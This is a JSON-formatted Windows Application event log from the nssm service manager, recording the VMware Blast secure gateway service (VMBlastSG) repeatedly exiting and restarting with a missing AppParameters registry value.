{"@timestamp":1646659717877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153460","153460","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155876}}
{"@timestamp":1646659717893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155877}}
{"@timestamp":1646659717894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155878}}
{"@timestamp":1646659717894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155879}}
{"@timestamp":1646659717895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155880}}
{"@timestamp":1646659846894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155881}}
{"@timestamp":1646659846895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155882}}
{"@timestamp":1646659846895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152020","0"]}}},"module":"Application","provider":"nssm","sequence":155883}}
{"@timestamp":1646659846895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152020","152020","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155884}}
{"@timestamp":1646659846911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152216","0"]}}},"module":"Application","provider":"nssm","sequence":155885}}
{"@timestamp":1646659846912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152216","152020","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155886}}
{"@timestamp":1646659846962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155887}}
{"@timestamp":1646659846962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155888}}
{"@timestamp":1646659846963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155889}}
{"@timestamp":1646659846963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155890}}
{"@timestamp":1646659975698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155891}}
{"@timestamp":1646659975699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155892}}
{"@timestamp":1646659975699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152208","0"]}}},"module":"Application","provider":"nssm","sequence":155893}}
{"@timestamp":1646659975699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152208","152208","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155894}}
{"@timestamp":1646659975715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155895}}
{"@timestamp":1646659975716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155896}}
{"@timestamp":1646659975716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155897}}
{"@timestamp":1646659975717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155898}}
{"@timestamp":1646660104225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155899}}
{"@timestamp":1646660104227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155900}}
{"@timestamp":1646660104228,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152792","0"]}}},"module":"Application","provider":"nssm","sequence":155901}}
{"@timestamp":1646660104229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152792","152792","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155902}}
{"@timestamp":1646660104245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155903}}
{"@timestamp":1646660104246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155904}}
{"@timestamp":1646660104247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155905}}
{"@timestamp":1646660104247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155906}}
{"@timestamp":1646660232773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155907}}
{"@timestamp":1646660232774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155908}}
{"@timestamp":1646660232774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152032","0"]}}},"module":"Application","provider":"nssm","sequence":155909}}
{"@timestamp":1646660232775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152032","152032","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155910}}
{"@timestamp":1646660232790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155911}}
{"@timestamp":1646660232790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155912}}
{"@timestamp":1646660232791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155913}}
{"@timestamp":1646660232792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155914}}
{"@timestamp":1646660361308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155915}}
{"@timestamp":1646660361309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155916}}
{"@timestamp":1646660361309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153200","0"]}}},"module":"Application","provider":"nssm","sequence":155917}}
{"@timestamp":1646660361310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153200","153200","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155918}}
{"@timestamp":1646660361327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155919}}
{"@timestamp":1646660361328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155920}}
{"@timestamp":1646660361328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155921}}
{"@timestamp":1646660361329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155922}}
{"@timestamp":1646660489826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155923}}
{"@timestamp":1646660489829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155924}}
{"@timestamp":1646660489829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152748","0"]}}},"module":"Application","provider":"nssm","sequence":155925}}
{"@timestamp":1646660489830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152748","152748","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155926}}
{"@timestamp":1646660489847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155927}}
{"@timestamp":1646660489848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155928}}
{"@timestamp":1646660489848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155929}}
{"@timestamp":1646660489849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155930}}
{"@timestamp":1646660618343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155931}}
{"@timestamp":1646660618343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155932}}
{"@timestamp":1646660618344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153216","0"]}}},"module":"Application","provider":"nssm","sequence":155933}}
{"@timestamp":1646660618346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153216","153216","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155934}}
{"@timestamp":1646660618363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155935}}
{"@timestamp":1646660618364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155936}}
{"@timestamp":1646660618364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155937}}
{"@timestamp":1646660618365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155938}}
{"@timestamp":1646660746863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155939}}
{"@timestamp":1646660746863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155940}}
{"@timestamp":1646660746864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150716","0"]}}},"module":"Application","provider":"nssm","sequence":155941}}
{"@timestamp":1646660746864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150716","150716","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155942}}
{"@timestamp":1646660746880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155943}}
{"@timestamp":1646660746881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155944}}
{"@timestamp":1646660746881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155945}}
{"@timestamp":1646660746882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155946}}
{"@timestamp":1646660875484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155947}}
{"@timestamp":1646660875485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155948}}
{"@timestamp":1646660875485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152788","0"]}}},"module":"Application","provider":"nssm","sequence":155949}}
{"@timestamp":1646660875486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152788","152788","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155950}}
{"@timestamp":1646660875501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155951}}
{"@timestamp":1646660875502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155952}}
{"@timestamp":1646660875503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155953}}
{"@timestamp":1646660875503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155954}}
{"@timestamp":1646661004056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155955}}
{"@timestamp":1646661004057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155956}}
{"@timestamp":1646661004058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153064","0"]}}},"module":"Application","provider":"nssm","sequence":155957}}
{"@timestamp":1646661004060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153064","153064","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155958}}
{"@timestamp":1646661004076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155959}}
{"@timestamp":1646661004076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155960}}
{"@timestamp":1646661004077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155961}}
{"@timestamp":1646661004078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155962}}
{"@timestamp":1646661132565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155963}}
{"@timestamp":1646661132567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155964}}
{"@timestamp":1646661132568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153548","0"]}}},"module":"Application","provider":"nssm","sequence":155965}}
{"@timestamp":1646661132569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153548","153548","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155966}}
{"@timestamp":1646661132585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155967}}
{"@timestamp":1646661132586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155968}}
{"@timestamp":1646661132586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155969}}
{"@timestamp":1646661132587,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155970}}
{"@timestamp":1646661261079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155971}}
{"@timestamp":1646661261082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155972}}
{"@timestamp":1646661261083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151732","0"]}}},"module":"Application","provider":"nssm","sequence":155973}}
{"@timestamp":1646661261083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151732","151732","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155974}}
{"@timestamp":1646661261100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155975}}
{"@timestamp":1646661261101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155976}}
{"@timestamp":1646661261101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155977}}
{"@timestamp":1646661261102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155978}}
{"@timestamp":1646661390661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155979}}
{"@timestamp":1646661390882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155980}}
